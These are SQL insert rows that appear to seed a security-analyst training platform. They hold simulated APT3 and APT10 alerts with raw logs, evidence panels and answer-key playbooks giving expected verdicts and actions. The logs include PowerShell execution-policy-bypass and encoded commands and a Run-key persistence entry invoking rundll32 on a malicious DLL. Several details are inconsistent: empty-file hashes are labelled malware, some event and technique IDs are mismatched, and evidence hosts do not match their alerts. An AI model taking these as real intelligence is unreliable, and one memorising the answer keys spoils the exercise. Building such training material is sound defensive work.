(385, 'Malicious PowerShell Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'APT3 executed a PowerShell script on a compromised system to deploy additional payloads, aiming to maintain a stealthy presence and further infiltrate the network.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"computer_name\":\"compromised-host-01\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.24\",\"internal_ip\":\"10.0.1.15\",\"script_name\":\"Invoke-MaliciousScript.ps1\",\"script_hash\":\"3e2f5d9b7a6f4c5e8a8e7b2f6d1a9c3e\",\"process_id\":\"4567\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\Invoke-MaliciousScript.ps1\",\"parent_process\":\"explorer.exe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Invoke-MaliciousScript.ps1\"}', '2026-01-04 02:06:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT3\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Invoke-MaliciousScript.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used by APT3\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3e2f5d9b7a6f4c5e8a8e7b2f6d1a9c3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT3 payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(386, 'Establishing Persistence via Registry Modification', 'high', 'Windows Registry Logs', 'To ensure continued access to the infected system, APT3 modifies registry settings. This registry modification allows their malware to persist even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:24:17Z\",\"event_id\":4657,\"event_type\":\"Registry Modification\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.102\",\"user\":\"SYSTEM\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"modified_value_name\":\"APT3PersistentService\",\"modified_value_data\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Temp\\\\malicious.dll,EntryPoint\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious.dll\"}', '2026-01-04 02:06:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT3 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT3 malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Vendor\",\"verdict\":\"malicious\",\"details\":\"DLL identified as APT3 persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.983Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:17Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Modification\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value_name\\\":\\\"APT3PersistentService\\\",\\\"modified_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Temp\\\\\\\\malicious.dll,EntryPoint\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.983Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:17Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Modification\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value_name\\\":\\\"APT3PersistentService\\\",\\\"modified_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Temp\\\\\\\\malicious.dll,EntryPoint\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.983Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:17Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Modification\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value_name\\\":\\\"APT3PersistentService\\\",\\\"modified_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Temp\\\\\\\\malicious.dll,EntryPoint\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.983Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:17Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Modification\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value_name\\\":\\\"APT3PersistentService\\\",\\\"modified_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Temp\\\\\\\\malicious.dll,EntryPoint\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.983Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:17Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Modification\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value_name\\\":\\\"APT3PersistentService\\\",\\\"modified_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Temp\\\\\\\\malicious.dll,EntryPoint\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(387, 'Lateral Movement through Credential Dumping', 'high', 'Network Traffic Analysis', 'APT3 has initiated lateral movement within the network by utilizing credential dumping techniques. The attacker has successfully accessed additional systems using stolen credentials, aiming to expand their reach within the network.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:32Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"event_type\":\"credential_dumping\",\"username\":\"jdoe\",\"dumped_file\":\"NTDS.dit\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"lateral_movement_attempt\",\"protocol\":\"SMB\",\"network_segment\":\"internal\",\"alert_id\":\"alert_10234\"}', '2026-01-04 02:06:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAssetDB\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"UserBehaviorAnalytics\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(388, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Systems', 'In the final stage, APT3 attempts to exfiltrate sensitive data using encrypted channels, aiming to evade detection mechanisms. The operation was detected when unusual encrypted traffic was observed between internal host 192.168.1.45 and an external IP address 203.0.113.5. The malicious file \'encrypted_payload.zip\' with hash \'d41d8cd98f00b204e9800998ecf8427e\' was involved in the exfiltration attempt.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"HTTPS\",\"file_name\":\"encrypted_payload.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"exfiltration_attempt\",\"status\":\"blocked\"}', '2026-01-04 02:06:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host participating in exfiltration attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encrypted_payload.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File involved in suspected data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by APT3.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"encrypted_payload.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"encrypted_payload.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"encrypted_payload.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"encrypted_payload.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"encrypted_payload.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"status\\\":\\\"blocked\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(389, 'Initial Access via Compromised MSP Credentials', 'high', 'Authentication Logs', 'APT10 exploits stolen credentials from a managed service provider to infiltrate the aerospace company\'s network, setting the stage for a prolonged espionage campaign. Anomalous login detected from an external IP address using compromised MSP credentials.', 'Credential Theft', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:00Z\",\"event_type\":\"authentication_attempt\",\"username\":\"msp_admin@aerospacecompany.com\",\"auth_status\":\"success\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"method\":\"password\",\"event_id\":\"auth-789654\",\"mfa_status\":\"not_required\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"msp_admin@aerospacecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised managed service provider credentials.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actor activities.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal aerospace company network IP.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(390, 'Execution Using DLL Side-Loading', 'high', 'Application Logs', 'The threat actors employ DLL side-loading to execute their malicious code under the guise of trusted applications, evading traditional detection mechanisms.', 'Execution', 'T1073.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"4624\",\"application\":\"legitapp.exe\",\"loaded_dll\":\"msvcr110.dll\",\"original_dll_path\":\"C:\\\\Program Files\\\\LegitApp\\\\msvcr110.dll\",\"malicious_dll_path\":\"C:\\\\Temp\\\\msvcr110.dll\",\"executing_user\":\"jdoe\",\"source_ip\":\"192.168.1.45\",\"attacker_ip\":\"203.0.113.45\",\"hash_malicious_dll\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malware_name\":\"APT10_SideLoad\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"msvcr110.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as a malicious DLL used in side-loading attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT10_SideLoad malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for APT10 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.990Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"application\\\":\\\"legitapp.exe\\\",\\\"loaded_dll\\\":\\\"msvcr110.dll\\\",\\\"original_dll_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\msvcr110.dll\\\",\\\"malicious_dll_path\\\":\\\"C:\\\\\\\\Temp\\\\\\\\msvcr110.dll\\\",\\\"executing_user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash_malicious_dll\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"malware_name\\\":\\\"APT10_SideLoad\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.990Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"application\\\":\\\"legitapp.exe\\\",\\\"loaded_dll\\\":\\\"msvcr110.dll\\\",\\\"original_dll_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\msvcr110.dll\\\",\\\"malicious_dll_path\\\":\\\"C:\\\\\\\\Temp\\\\\\\\msvcr110.dll\\\",\\\"executing_user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash_malicious_dll\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"malware_name\\\":\\\"APT10_SideLoad\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.990Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"application\\\":\\\"legitapp.exe\\\",\\\"loaded_dll\\\":\\\"msvcr110.dll\\\",\\\"original_dll_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\msvcr110.dll\\\",\\\"malicious_dll_path\\\":\\\"C:\\\\\\\\Temp\\\\\\\\msvcr110.dll\\\",\\\"executing_user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash_malicious_dll\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"malware_name\\\":\\\"APT10_SideLoad\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.990Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"application\\\":\\\"legitapp.exe\\\",\\\"loaded_dll\\\":\\\"msvcr110.dll\\\",\\\"original_dll_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\msvcr110.dll\\\",\\\"malicious_dll_path\\\":\\\"C:\\\\\\\\Temp\\\\\\\\msvcr110.dll\\\",\\\"executing_user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash_malicious_dll\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"malware_name\\\":\\\"APT10_SideLoad\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.990Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"application\\\":\\\"legitapp.exe\\\",\\\"loaded_dll\\\":\\\"msvcr110.dll\\\",\\\"original_dll_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\msvcr110.dll\\\",\\\"malicious_dll_path\\\":\\\"C:\\\\\\\\Temp\\\\\\\\msvcr110.dll\\\",\\\"executing_user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash_malicious_dll\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"malware_name\\\":\\\"APT10_SideLoad\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
